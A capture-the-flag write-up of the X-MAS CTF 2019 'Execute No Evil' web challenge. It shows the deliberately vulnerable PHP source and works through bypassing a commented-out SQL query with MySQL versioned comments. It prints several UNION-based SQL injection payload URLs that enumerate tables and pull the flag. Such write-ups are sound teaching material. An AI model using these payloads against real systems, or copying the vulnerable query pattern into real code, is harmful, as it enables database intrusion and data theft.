Solving Execute No Evil from X-MAS CTF 2019

Posted on Sat 21 December 2019 in CTF by 0xm4v3rick


The author note for this CTF challenge.

1
2
3
4
5
6
7
8
(1) New Message: "Hey dude. So we have this database system at work and I just found an SQL injection point. I quickly fixed it by commenting out all the user input in the query. 
Don't worry, I made the query so that it responds with boss's profile, since he is kind of the only person actively using this database system, and he always looks up his own name, lol. 
Anyway, guess we'll go with this til' the sysadmin comes and fixes the issue."

Huh, so hear no evil, see no evil, ... execute no evil?

Remote server: http://challs.xmas.htsp.ro:11002
Author: Milkdrop

Browsing through the site shows a search page. Any simple input gives the same output as below:

search

Viewing through the html source shows an interesting comment at line 12.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<head>
    <link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<form class="center">
    <h2>Cobalt Inc. employee database search</h2>
    <label>Name:</label>
    <input type="text" name="name" autocomplete="off">
    <input type="submit" value="Search">
</form>
<br>
<!-- ?source=1 -->

<table>
    <tr>
        <th>Name</th>
        <th>Description</th>
    </tr><tr>
            <td>Geronimo</td>
            <td>People say he owns a Cadillac ...</td>
        </tr></table>
</body>

Looks like a parameter and value. Lets try it out. So the URL becomes

1
http://challs.xmas.htsp.ro:11002/?source=1

And the response returned is the backend source code for the index page. Lets go through it in brief.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
if (isset ($_GET['source'])) {
    show_source ("index.php");
    die ();
}
?>

<head>
    <link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<form class="center">
    <h2>Cobalt Inc. employee database search</h2>
    <label>Name:</label>
    <input type="text" name="name" autocomplete="off">
    <input type="submit" value="Search">
</form>
<br>
<!-- ?source=1 -->

<?php
include ("config.php");
$conn = new mysqli ($servername, $username, $password, $dbname);

if (isset ($_GET['name'])) {
    $name = $_GET['name'];
    $name = str_replace ("*", "", $name);
    $records = mysqli_query ($conn, "SELECT * FROM users WHERE name=/*" . $name . "*/ 'Geronimo'", MYSQLI_USE_RESULT); // Don't tell boss

    if ($records === false) {
    die ("<p>Our servers have run into a query error. Please try again later.</p>");
    }

    echo '<table>';
    echo '
    <tr>
    <th>Name</th>
    <th>Description</th>
    </tr>';

    while ($row = mysqli_fetch_array ($records, MYSQLI_ASSOC)) {
    echo '<tr>
        <td>',$row["name"],'</td>
        <td>',$row["description"],'</td>
    </tr>';
    }

    echo '</table>';
}
?>

</body>
  • Line 1-6 : The php code checks if GET variable source is set, and if so it will call a custom function to disclose the source of index.php.
  • Line 8-19 : Is same HTML code we saw earlier.
  • Line 21-23 : Anothe php code, line 23 creates a mysql connection object with necessary details from config.php included at line 22.
  • Line 25-28 : The GET parameter name is checked and than str_replace is applied to it replacing all the * and stored in name variable. Next it is used in SELECT mysql statement but commented out so as to not affect the query and 'Geronimo' is hardcode at the end of the query to retrieve results at line 28.
  • Line 30-52 : Line 30 checks if results are retrieved and if so than display it using line 41 else display server query error. Rest of the html code is to display the data in tables form.

So from the above code we see that the GET parameter name will consists our attack vector and we need to figure out how to break out of the comments on line 28 so that we can proceed with sql injection. My inital thought was to see if we could somehow bypass the str_replace which is quite common. You would find many resources about the same on the internet. But this challenge was not about bypassing str_replace.

After a lot of searching around and trying it out locally, eventually I figured out the string that broke the SQL statement was !/ . Resulting response was the error that I wanted in below image. A few references that helped me are here
SQLi filter evasion and obfuscation PDF : Page 7 last 2 lines.
MySQL C-style comments

error

That is when I knew I had cracked the code :D. After breaking it again with !' and completing the query with !'' below query gave a way to retrieve data. Standard error based sqli payload.

1
http://challs.xmas.htsp.ro:11002/?name=!'' union select 1,database(),3

The next problem was to get other data such as tables names, columns and so on as payloads such as below resulted in breaking the query. Commenting out the last part didn't work or I couldn't get it to work.

1
http://challs.xmas.htsp.ro:11002/?name=!'a' union select 1,table_name,3 from information_schema.tables

The trick was to figure out what was breaking it. It turns out that the 'Geronimo' at the end of that statement broke the query. But we could use it in our query as it gets appended to our query as below.

1
http://challs.xmas.htsp.ro:11002/?name=!'' union select 1,database(),'3'

break

Now we need to make that part irrelevant to our query. This is where some of my mysql knowledge helped me out. I could use it to form a payload as below.

1
http://challs.xmas.htsp.ro:11002/?name=!'' union select 1,table_name,3 from information_schema.tables where table_name!=

which would create a mysql query like

1
SELECT * FROM users WHERE name=/*!'' union select 1,table_name,3 from information_schema.tables where table_name!=*/ 'Geronimo'

and results into

tables

From here it was easy to retrieve columns and eventually the flag. Query for flag is a below.

1
http://challs.xmas.htsp.ro:11002/?name=!'' union select 1,whatsthis,3 from flag where whatsthis!=

Response:

flag

It was a good challenge and thanks X-MAS CTF team for it :). Feel free to ping me on twitter for feedback or queries